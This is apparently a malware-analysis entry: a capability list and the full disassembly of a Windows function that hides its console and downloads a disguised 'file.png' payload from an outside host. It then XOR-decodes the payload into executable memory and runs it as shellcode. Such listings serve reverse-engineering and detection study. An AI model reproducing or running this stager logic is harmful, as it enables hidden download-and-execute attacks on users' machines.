Function at 0x140011311
Capabilities:
Allocate or change rwx memory
Connect socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
jmp 0x140012320
push rbp
push rdi
sub rsp, 0x6e8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x122
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x6b0], rax
lea rcx, [0x1400250fb]
call fcn.14001147e
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14001238a
mov eax, 1
jmp 0x1400127a4
mov qword [rbp + 0x1c8], 0
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x1e8]
call fcn.140011514
mov dword [rbp + 0x1ec], 2
mov dword [rbp + 0x1f0], 1
mov dword [rbp + 0x1f4], 6
lea r9, [rbp + 0x1c8]
lea r8, [rbp + 0x1e8]
lea rdx, [0x14001bca0]
lea rcx, str.s__u__d__o.de
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x1400123fd
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400127a4
mov rax, qword [rbp + 0x1c8]
mov r8d, dword [rax + 0xc]
mov rax, qword [rbp + 0x1c8]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x1c8]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0xffffffffffffffff
jne 0x140012450
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400127a4
mov rax, qword [rbp + 0x1c8]
mov r8d, dword [rax + 0x10]
mov rax, qword [rbp + 0x1c8]
mov rdx, qword [rax + 0x20]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400124a2
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400127a4
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rax, str.GET__file.png_HTTP_1.1_r_nHost:_s__u__d__o.de_r_nConnection:_close_r_n_r_n
mov qword [rbp + 0x258], rax
mov rcx, qword [rbp + 0x258]
call fcn.1400111d6
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x274], 0x1e00000
mov ecx, 0x1e00000
call fcn.1400111cc
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x298], rax
mov qword [rbp + 0x2b8], 0
cmp qword [rbp + 0x2b8], 0x1e00000
jae 0x14001258c
mov eax, 0x1e00000
sub rax, qword [rbp + 0x2b8]
mov rcx, qword [rbp + 0x2b8]
mov rdx, qword [rbp + 0x298]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_recv]
cdqe
mov qword [rbp + 0x2d8], rax
cmp qword [rbp + 0x2d8], 0
ja 0x14001256f
jmp 0x14001258c
mov rax, qword [rbp + 0x2d8]
mov rcx, qword [rbp + 0x2b8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x2b8], rax
jmp 0x140012517
lea rdx, [0x14001bf78]
mov rcx, qword [rbp + 0x298]
call fcn.1400111db
mov qword [rbp + 0x2f8], rax
mov rax, qword [rbp + 0x298]
mov rcx, qword [rbp + 0x2f8]
sub rcx, rax
mov rax, rcx
add rax, 0xb
mov dword [rbp + 0x314], eax
movsxd rax, dword [rbp + 0x314]
mov rcx, qword [rbp + 0x2b8]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x338], rax
mov rcx, qword [rbp + 0x338]
call fcn.1400111cc
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov qword [rbp + 0x358], rax
movsxd rax, dword [rbp + 0x314]
mov rcx, qword [rbp + 0x298]
add rcx, rax
mov rax, rcx
mov r8, qword [rbp + 0x338]
mov rdx, rax
mov rcx, qword [rbp + 0x358]
call fcn.140011226
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x678], rax
mov rcx, qword [rbp + 0x678]
call fcn.140011217
cmp qword [rbp + 0x678], 0
jne 0x14001265b
mov qword [rbp + 0x6a8], 0
jmp 0x140012674
mov qword [rbp + 0x298], 0x8123
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x6a8], rax
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [rbp + 0x374], 0x44
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rbp + 0x2b8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x398], rax
cmp qword [rbp + 0x398], 0
je 0x140012722
mov qword [rbp + 0x3b8], 0
jmp 0x1400126d8
mov rax, qword [rbp + 0x3b8]
inc rax
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x338]
cmp qword [rbp + 0x3b8], rax
jae 0x140012720
mov rax, qword [rbp + 0x3b8]
mov rcx, qword [rbp + 0x358]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
movsx ecx, byte [rbp + 0x374]
xor eax, ecx
mov rcx, qword [rbp + 0x3b8]
mov rdx, qword [rbp + 0x398]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x1400126c7
jmp 0x140012729
mov eax, 1
jmp 0x1400127a4
mov dword [rbp + 0x3d4], 0
lea r9, [rbp + 0x3d4]
mov r8d, 0x40
mov edx, 3
mov rcx, qword [rbp + 0x398]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rbp + 0x398]
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x698], rax
mov rcx, qword [rbp + 0x698]
call fcn.140011217
cmp qword [rbp + 0x698], 0
jne 0x140012789
mov qword [rbp + 0x6a8], 0
jmp 0x1400127a2
mov qword [rbp + 0x358], 0x8123
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x6a8], rax
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_connect
call fcn.1400113cf
mov rax, rdi
mov rcx, qword [rbp + 0x6b0]
xor rcx, rbp
call fcn.140011221
lea rsp, [rbp + 0x6c8]
pop rdi
pop rbp
ret